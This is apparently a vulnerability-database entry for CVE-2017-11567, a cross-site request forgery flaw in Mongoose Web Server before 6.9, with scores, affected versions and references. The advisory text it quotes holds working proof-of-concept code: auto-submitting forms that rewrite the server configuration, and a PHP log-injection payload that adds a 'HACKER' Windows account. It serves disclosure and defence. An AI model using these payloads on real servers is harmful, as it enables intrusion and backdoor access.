ID

VAR-201709-1035


CVE

CVE-2017-11567


TITLE

Mongoose Web Server Vulnerable to cross-site request forgery

Trust: 0.8

sources: JVNDB: JVNDB-2017-008002

DESCRIPTION

Cross-site request forgery (CSRF) vulnerability in Mongoose Web Server before 6.9 allows remote attackers to hijack the authentication of users for requests that modify Mongoose.conf via a request to __mg_admin?save. NOTE: this issue can be leveraged to execute arbitrary code remotely. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. Mongoose Web Server prior to 6.9 are vulnerable. It is a multi-protocol embedded networking library with functions including TCP, HTTP client and server, WebSocket client and server, MQTT client and broker and much more. However, IF Mongoose web server is installed as service then executing programs e.g. "calc.exe" may at times crash or fail to appear, but you may see it in Windows taskmgr.exe. Therefore, from my tests commands may become unstable when Mongoose is run as a service. When Mongoose is run standard mode attackers can potentially modify "Mongoose.conf" and create arbitrary files on server like .PHP etc. to point Mongoose to this as its new "index" file. Then you need to tell Mongoose its "access_log_file" is the new attacker generated file, after injecting commands into Mongoose web servers log file that will get excuted when log file is later requested. This vulnerability requires CGI interpreter to be already set or some information about the target is known like the CGI path and language "pl,php,cgi" used, so when we can set to use correct programming language when file is created during initial CRSF attack. Note: If running commands with arguments, we have to use "\t" tab chars as using space will break our TELNET based code injection to the server log. e.g. GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1 OR just TELNET to Mongoose web server, inject arbitrary commands, then call exec by making another TELNET HTTP GET. # For detailed description of every option, visit # https://github.com/cesanta/Mongoose # Lines starting with '#' and empty lines are ignored. # To make a change, remove leading '#', modify option's value, # save this file and then restart Mongoose. # access_control_list access_log_file C:\Mongoose.access.php <======= BOOM # auth_domain mydomain.com cgi_interpreter c:\xampp\php\php.exe <====== MUST BE SET # cgi_pattern **.cgi$|**.pl$|**.php$ # dav_auth_file # dav_root # debug 0 document_root C:\ # enable_directory_listing yes # error_log_file # extra_headers # extra_mime_types # global_auth_file # hide_files_patterns # hexdump_file index_files Mongoose.access.php <======== BOOM # listening_port 8080 # run_as_user # ssi_pattern **.shtml$|**.shtm$ # ssl_certificate # ssl_ca_certificate # start_browser yes # url_rewrites Mongoose log file Command Inject to create backdoor. ----------------------------------------------------------- 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:30 - 127.0.0.1 - GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> 400 0 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin 200 5234 - 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_settings 200 4294967295 http://127.0.0.1:8080/__mg_admin 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /__mg_admin?get_cfg_file_status 200 4294967295 http://127.0.0.1:8080/__mg_admin 2017-07-24 03:12:40 - 127.0.0.1 127.0.0.1:8080 GET /favicon.ico 404 0 - Tested Windows 7. Exploit/POC: ============= 1) add backdoor account POC. <form action="http://127.0.0.1:8080/__mg_admin?save" method="post"> <input type="hidden" name="access_log_file" value="Mongoose.access.php"> <input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.php"> <input type="hidden" name="index_files" value="Mongoose.access.php"> <input type="hidden" name="cgi_interpreter" value="c:\xampp\php\php.exe"> <script>document.forms[0].submit()</script> </form> 2) TELNET x.x.x.x 8080 GET<?php exec("cmd.exe\t/c\tnet\tuser\tHACKER\tabc123\t/add");?> HTTP/1.1 Enter Enter TELNET x.x.x.x 8080 GET / HTTP/1.1 Enter Enter Done, backdoor added! ==================== 1) run calc.exe POC. <form action="http://127.0.0.1:8080/__mg_admin?save" method="post"> <input type="hidden" name="cgi_pattern" value="**.cgi$|**.pl$|**.exe"> <input type="hidden" name="index_files" value="../../../../../../Windows/system32/calc.exe"> <input type="hidden" name="cgi_interpreter" value="../../../../../../Windows/system32/calc.exe"> <script>document.forms[0].submit()</script> </form> 2) TELNET x.x.x.x 8080 GET / HTTP/1.1 Enter Enter Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ================================= Vendor Notification: July 23, 2017 Vendor Notification: July 28, 2017 Vendor Acknowledgement: July 31, 2017 Vendor Fixed released version 6.9 : September 4, 2017 September 4, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx

Trust: 1.98

sources: NVD: CVE-2017-11567 // JVNDB: JVNDB-2017-008002 // BID: 100830 // PACKETSTORM: 144011

AFFECTED PRODUCTS

vendor:cesantamodel:mongoose embedded web server libraryscope:lteversion:6.8

Trust: 1.0

vendor:cesantamodel:mongoose embedded web server and networking libraryscope:ltversion:6.9

Trust: 0.8

vendor:cesantamodel:mongoose embedded web server libraryscope:eqversion:6.8

Trust: 0.6

vendor:cesantamodel:mongoose web serverscope:eqversion:6.5

Trust: 0.3

vendor:cesantamodel:mongoose web serverscope:neversion:6.9

Trust: 0.3

sources: BID: 100830 // JVNDB: JVNDB-2017-008002 // CNNVD: CNNVD-201707-1029 // NVD: CVE-2017-11567

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2017-11567
value: HIGH

Trust: 1.0

NVD: CVE-2017-11567
value: HIGH

Trust: 0.8

CNNVD: CNNVD-201707-1029
value: MEDIUM

Trust: 0.6

nvd@nist.gov: CVE-2017-11567
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

nvd@nist.gov: CVE-2017-11567
baseSeverity: HIGH
baseScore: 8.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: REQUIRED
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.8
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: JVNDB: JVNDB-2017-008002 // CNNVD: CNNVD-201707-1029 // NVD: CVE-2017-11567

PROBLEMTYPE DATA

problemtype:CWE-352

Trust: 1.8

sources: JVNDB: JVNDB-2017-008002 // NVD: CVE-2017-11567

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 144011 // CNNVD: CNNVD-201707-1029

TYPE

cross-site request forgery

Trust: 0.6

sources: CNNVD: CNNVD-201707-1029

CONFIGURATIONS

sources: JVNDB: JVNDB-2017-008002

PATCH

title:Top Pageurl:https://cesanta.com/

Trust: 0.8

sources: JVNDB: JVNDB-2017-008002

EXTERNAL IDS

db:NVDid:CVE-2017-11567

Trust: 2.8

db:EXPLOIT-DBid:42614

Trust: 1.0

db:JVNDBid:JVNDB-2017-008002

Trust: 0.8

db:CNNVDid:CNNVD-201707-1029

Trust: 0.6

db:BIDid:100830

Trust: 0.3

db:PACKETSTORMid:144011

Trust: 0.1

sources: BID: 100830 // JVNDB: JVNDB-2017-008002 // PACKETSTORM: 144011 // CNNVD: CNNVD-201707-1029 // NVD: CVE-2017-11567

REFERENCES

url:http://seclists.org/fulldisclosure/2017/sep/3

Trust: 2.7

url:http://hyp3rlinx.altervista.org/advisories/mongoose-web-server-v6.5-csrf-command-execution.txt

Trust: 2.0

url:https://www.exploit-db.com/exploits/42614/

Trust: 1.0

url:https://nvd.nist.gov/vuln/detail/cve-2017-11567

Trust: 0.9

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-11567

Trust: 0.8

url:https://www.cesanta.com/

Trust: 0.3

url:https://cesanta.com/binary.html

Trust: 0.1

url:http://127.0.0.1:8080/__mg_admin?save"

Trust: 0.1

url:https://github.com/cesanta/mongoose

Trust: 0.1

url:https://www.cesanta.com

Trust: 0.1

url:http://127.0.0.1:8080/__mg_admin

Trust: 0.1

sources: BID: 100830 // JVNDB: JVNDB-2017-008002 // PACKETSTORM: 144011 // CNNVD: CNNVD-201707-1029 // NVD: CVE-2017-11567

CREDITS

John Page AKA hyp3rlinx.

Trust: 0.3

sources: BID: 100830

SOURCES

db:BIDid:100830
db:JVNDBid:JVNDB-2017-008002
db:PACKETSTORMid:144011
db:CNNVDid:CNNVD-201707-1029
db:NVDid:CVE-2017-11567

LAST UPDATE DATE

2024-11-23T22:22:24.329000+00:00


SOURCES UPDATE DATE

db:BIDid:100830date:2017-09-07T00:00:00
db:JVNDBid:JVNDB-2017-008002date:2017-10-05T00:00:00
db:CNNVDid:CNNVD-201707-1029date:2017-09-11T00:00:00
db:NVDid:CVE-2017-11567date:2024-11-21T03:08:02.367

SOURCES RELEASE DATE

db:BIDid:100830date:2017-09-07T00:00:00
db:JVNDBid:JVNDB-2017-008002date:2017-10-05T00:00:00
db:PACKETSTORMid:144011date:2017-09-05T13:27:04
db:CNNVDid:CNNVD-201707-1029date:2017-07-24T00:00:00
db:NVDid:CVE-2017-11567date:2017-09-07T13:29:00.357